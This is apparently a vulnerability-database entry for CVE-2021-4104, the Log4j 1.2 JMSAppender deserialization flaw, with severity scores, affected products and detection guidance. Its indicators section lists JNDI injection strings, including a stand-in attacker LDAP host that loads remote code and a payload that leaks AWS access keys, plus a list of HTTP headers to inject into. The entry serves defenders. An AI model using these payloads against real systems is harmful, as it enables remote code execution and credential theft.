cbcvebase.
CVE-2021-4104
published 2021-12-14

CVE-2021-4104: JMSAppender in Log4j 1.2 is vulnerable to deserialization of untrusted data when the attacker has write access to the Log4j configuration. The attacker can…

PriorityP181high7.5CVSS 3.1
AVNACHPRLUINSUCHIHAH
ITWEXPLOITVulnCheck KEV
Exploited in the wild
EPSS
81.15%
99.6th percentile
JMSAppender in Log4j 1.2 is vulnerable to deserialization of untrusted data when the attacker has write access to the Log4j configuration. The attacker can provide TopicBindingName and TopicConnectionFactoryBindingName configurations causing JMSAppender to perform JNDI requests that result in remote code execution in a similar fashion to CVE-2021-44228. Note this issue only affects Log4j 1.2 when specifically configured to use JMSAppender, which is not the default. Apache Log4j 1.2 reached end of life in August 2015. Users should upgrade to Log4j 2 as it addresses numerous other issues from the previous versions.

Affected

88 ranges· showing 25
VendorProductVersion rangeFixed in
apachehadoop
apachelog4j
apachelog4j1.0.1 – 1.2.17
apache_software_foundationapache_log4j_1.x>= 1.0.1 < unspecifiedunspecified
apache_software_foundationapache_log4j_1.x>= unspecified < 2.0-alpha12.0-alpha1
debianapache-log4j1.2< apache-log4j1.2 1.2.17-11 (bookworm)apache-log4j1.2 1.2.17-11 (bookworm)
fedoraprojectfedora
msrcmicrosoft_365_apps_for_enterprise_for_32-bit_systems
msrcmicrosoft_365_apps_for_enterprise_for_64-bit_systems
msrcmicrosoft_excel_2013_rt_service_pack_1
msrcmicrosoft_excel_2013_service_pack_1
msrcmicrosoft_excel_2016
msrcmicrosoft_office_2013_rt_service_pack_1
msrcmicrosoft_office_2013_service_pack_1
msrcmicrosoft_office_2016
msrcmicrosoft_office_2019_for_32-bit_editions
msrcmicrosoft_office_2019_for_64-bit_editions
msrcmicrosoft_office_online_server
msrcmicrosoft_office_web_apps_server_2013_service_pack_1
oracleadvanced_supply_chain_planning
oracleadvanced_supply_chain_planning
oraclebusiness_intelligence
oraclebusiness_intelligence
oraclebusiness_intelligence
oraclebusiness_process_management_suite

Detection & IOCsextracted from sources · hover to see the quote

command${jndi:ldap://attacker_controled_website/payload_to_be_executed}
command${jndi:ldap://${env:AWS_ACCESS_KEY_ID}.${env:AWS_SECRET_ACCESS_KEY}.}
command${jndi:protocol://
domainqualysperiscope.com
filenameExploit.class
  • CVE-2021-4104 is only exploitable when Log4j 1.2 is explicitly configured to use JMSAppender with attacker-controlled TopicBindingName and TopicConnectionFactoryBindingName configuration values; look for these non-default configuration entries as evidence of exploitation setup.
  • Inject JNDI payloads into HTTP request headers (X-Api-Version, User-Agent, Referer, X-Druid-Comment, Origin, Location, X-Forwarded-For, Cookie, X-Requested-With, X-Forwarded-Host, Accept, Authentication, Authorization) and POST form fields to detect vulnerable Log4j instances via out-of-band DNS callbacks.
  • Monitor for outbound LDAP/LDAPS connections originating from Java application servers, especially those triggered by log message processing — this is the callback mechanism for JNDI-based exploitation.
  • For on-premises scanner detection of Log4Shell (related JNDI attack chain), monitor for LDAP callbacks to the scanner itself (Plugin 155998 approach); for cloud/external detection, monitor DNS callbacks on port 53 for unique tokens embedded in JNDI payloads (Plugin 156014 approach).
  • Use Snort SIDs 58722-58744, 58751, 58784-58790, 58795, 58801, 58811-58814 to detect exploitation attempts related to the Log4j JNDI RCE vulnerability family (CVE-2021-44228/CVE-2021-45046/CVE-2021-45105), which shares the same JNDI attack vector as CVE-2021-4104.
  • Use ClamAV signatures Java.Malware.CVE_2021_44228-9915816-1 and PUA.Java.Tool.CVE_2021_44228-9916978-0 to detect malicious payloads exploiting the Log4j JNDI RCE family, which includes CVE-2021-4104.
  • Scan HTTP headers and POST/GET values, XML, JSON, and cookies for JNDI lookup strings starting with '${jndi:' as an indicator of active exploitation attempts against Log4j.
  • ·CVE-2021-4104 only affects Log4j 1.2 when explicitly configured to use JMSAppender — it is NOT exploitable in default configurations. Log4j 1.2 is end-of-life since August 2015.
  • ·Exploitation requires the attacker to have write access to the Log4j configuration in order to set malicious TopicBindingName and TopicConnectionFactoryBindingName values.
  • ·CVE-2021-4104 was issued specifically to address the JMSAppender flaw in Log4j 1.x, which is a separate component from the JNDILookup plugin flaw in Log4j 2.x (CVE-2021-44228); detection rules targeting Log4j 2.x JNDI lookups may not cover this vector.

CVSS provenance

nvdv3.17.5HIGHCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
nvdv2.06.0MEDIUMAV:N/AC:M/Au:S/C:P/I:P/A:P
ghsa10.0CRITICAL
osv10.0CRITICAL
vulncheck7.5HIGH
vendor_apache7.5HIGH
vendor_debian7.5HIGH
vendor_oracle7.5HIGH
vendor_redhat7.5HIGH
vendor_msrc5.5MEDIUM
CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.